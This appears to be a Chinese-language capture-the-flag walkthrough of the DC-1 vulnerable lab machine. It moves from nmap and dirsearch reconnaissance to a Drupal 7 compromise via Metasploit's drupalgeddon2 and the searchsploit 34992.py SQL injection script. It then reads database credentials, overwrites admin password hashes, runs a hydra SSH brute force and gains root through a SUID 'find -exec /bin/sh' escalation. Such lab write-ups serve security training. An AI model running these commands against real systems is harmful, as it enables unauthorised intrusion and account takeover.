DC-1
借鉴我们OnePanda-Sec团队的文章
https://mp.weixin.qq.com/s/BbPkmDiZ-cRleiCqmj114w
靶场搭建

先导入DC-1靶场,并将连接改为NAT模式

信息收集
先通过nmap -sP进行扫描主机网段信息
nmap -sP 192.168.190.0/24

arp-scan -l

然后基本可以确定DC的IP了
DC-1:192.168.190.137
kali:192.168.190.128
得到了ip地址就可以搜集系统类型了
nmap -A -T4 192.168.190.137
- nmap:Network Mapper 的简称 ,是一款开源免费的网络发现和安全审计工具,可用于列举网络主机清单、检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等 。
- -A:表示使用进攻性方式扫描 。会启用操作系统检测(尝试识别目标主机的操作系统)、服务版本探测(识别开放端口上运行的服务及其版本号 )和脚本扫描(调用 Nmap 脚本引擎 NSE 执行一系列脚本,进行更深入检测,如漏洞检测、后门扫描等 )。
- -T4:指定扫描过程使用的时序。Nmap 的时序有 0 - 5 共 6 个级别,T4 属于较高速度级别,扫描速度较快 ,但也相对更容易被防火墙或入侵检测系统(IDS)检测并屏蔽,在网络通讯状况较好时推荐使用。
- 192.168.190.137:是目标主机的 IP 地址,即此次扫描的对象 。

我们大致可以看到端口以及服务信息
-
22/tcp:SSH 服务开启,使用 OpenSSH 6.0p1 Debian 4+deb7u7 版本 ,展示了 DSA、RSA、ECDSA 三种类型的主机密钥。
-
80/tcp :HTTP 服务开启,Web 服务器是 Apache HTTPD 2.2.22 (Debian) 。
http - robots.txt
禁止访问 15 个目录和文件,网页标题为 "Welcome to Drupal Site | Drupal Site" ,网页生成器为 Drupal 7。 -
111/tcp:rpcbind 服务开启,版本为 2 - 4 (RPC #100000) ,还有相关的 rpcinfo 信息。
-
MAC 地址:00:50:56:3F:73:32 ,设备类型推测为通用型,可能是 VMware 虚拟机。
-
操作系统 :推测为 Linux 3.2 - 3.16 版本 ,CPE(Common Platform Enumeration 通用平台枚举)标识为
cpe:/o:linux:linux_kernel:3
基本可以判断主机是开了网站的

当然,我们也可以通过kali自带的whatweb进行扫描,这个可以扫描出是什么CMS,也更加全面
whatweb -v 192.168.190.137




从上面我们可以知道
Apache 2.2.22
PHP 5.4.45
Jquery 1.4.4
CMS Durpal 7
然后就是用dirsearch工具扫一下目录
dirsearch -u 192.168.190.137 -e *
*
表示扫描常见的所有文件拓展名,dirsearch如果没有安装,使用该命令时会提示你安装
如果在运行时报错



扫完后会发现有很多目录
漏洞利用
我们知道了CMS的类型和版本,就可以从cms的角度入手(这在实战中也非常常见,通过历史遗留漏洞成为突破口)
我们可以利用msfconsole查找

search Drupal

我们用18年的excellent的漏洞
use exploit/unix/webapp/drupal_drupalgeddon2

show options
查看一下我们需要的参数,其中yes为必填项

先设置一下rhosts(设置为目标机器)
set rhosts 192.168.190.137

设置完后我们可以再进行show options
,养成一个好习惯,看看有没有设置成功。
然后直接run

当出现连接成功,就表示OK了
之后就是我们的后渗透了
先shell
一下执行一下我们的linux的命令
ls

可以看到存在flag1.txt
Every good CMS needs a config file - and so do you.
这句话翻译一下就是 每一个好的CMS都需要一个配置文件

find / -name settings.php

cat /var/www/sites/default/settings.php
查看一下,获得flag2

最重要的是我们得到了数据库的账号密码
并翻译一下flag2
暴力破解和字典攻击并非获取访问权限的唯一途径(而你确实需要获取访问权限 )。拿到这些凭证后你能做些什么?
得到了数据库的账号密码,不妨登录试一下

但发现一直卡着,因为shell无法直接交互数据库,需要在shell的情况下获得一个可以交互式的shell,当然需要有python环境的攻击机才行
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t

show databases

use drupaldb
show tables

存在一个users表
select * from users

拿到密码了,但是发现根本爆破不出来,同样另外一个账户Fred也爆破不出来
解决这种无法爆破数据库中网站的密码,我们可以用其他方法
第一种:添加admin权限用户
先exit退回到msf页面

因为在之前我们知道了Drupal的版本为7,可以利用漏洞查找工具searchsploit来查找drupal方面的一个SQL注入的漏洞,会发现很多个漏洞脚本可以使用
searchsploit drupal

我们看一下34992.py这个脚本,可以通过这个URL进行下载
searchsploit 34992.py -p


然后下载下来放到kali里

python2 34992.py

这里需要我们加一下参数,目标URL网址,账号和密码
python2 34992.py -t http://192.168.190.137/ -u test -p test

访问网站,输入账号密码,成功登录

第二种方法:修改admin的密码
在进行之前,先run一下进入shell,并加入python交互性
在drupal里面,会自动给网站的密码进行加密
/var/www/scripts/password-hash.sh

而且可以加参数

得到这一串加密密码后,先登录数据库
mysql -udbuser -pR0ck3t
然后进行替换密码
use drupaldb;update users set pass = "$S$DYyGW7gbUhpGleULFWyeDmGwNxS6ygReItLe6J16hbW/noY/BEXf" where name = 'admin' or name = 'Fred';

这样就已经改了,我们也可以尝试一下爆破(因为这算是一个弱口令了)

然后尝试登录一下 admin/test123 可以登录成功


找到flag3

我们查看一下/etc/passwd,发现flag4

但是我们需要登录这个用户才可以查看
要登陆这个用户,需要获得密码,一个是爆破,一个是看shadow文件查看密码,会发现并没有shadow权限,因为这个需要root权限


第一种方法是使用hydra对这个flag4进行爆破,使用rockyou这个密码本
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.190.137

得到密码 orange


然后回归到第二种方法就是提权,得到root权限,可以用SUID提权,需要利用find命令,查找具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
- find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
- /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
- -perm -u=s:
- -perm:是按文件权限查找的选项 。
- -u=s :这里
u
代表文件所有者(user ),s
代表设置了 SUID(Set - User - ID )权限 。-u=s
表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
- -type f :-type 用于指定查找文件的类型,
f
表示只查找普通文件,不包括目录、设备文件等其他类型文件 。 - 2>/dev/null:
- 2:代表标准错误输出(stderr )的文件描述符 。
- >:是输出重定向符号 。
- /dev/null :是一个特殊文件,被称为 "黑洞" 设备,所有写入它的数据都会被丢弃。
2>/dev/null
意思是将命令执行过程中产生的错误信息重定向到/dev/null
,即不显示错误输出 。

find比较好用,可以通过find执行root的权限查找文件,会发现获取了root的权限
find / -name index.php -exec "/bin/sh" \;
- -name index.php :
-name
是按文件名查找的选项,index.php
是要查找的文件名,即查找名为index.php
的文件 。 - -exec "/bin/sh" ;:
- -exec:表示对找到的文件执行指定的 shell 命令 。
- "/bin/sh" :是要执行的命令,
/bin/sh
是系统的 Shell 解释器,这里表示执行一个 Shell 。但该命令存在严重问题,正常使用-exec
时,需要用{}
作为占位符来代表找到的文件,此处缺少,会导致不是对找到的index.php
文件执行操作,而是不管是否找到文件都会尝试执行/bin/sh
。 - ; :是命令的结束标识,
\
是为了转义,防止 Shell 将;
当作命令分隔符提前处理 。

发现已经提权成功

获得最终flag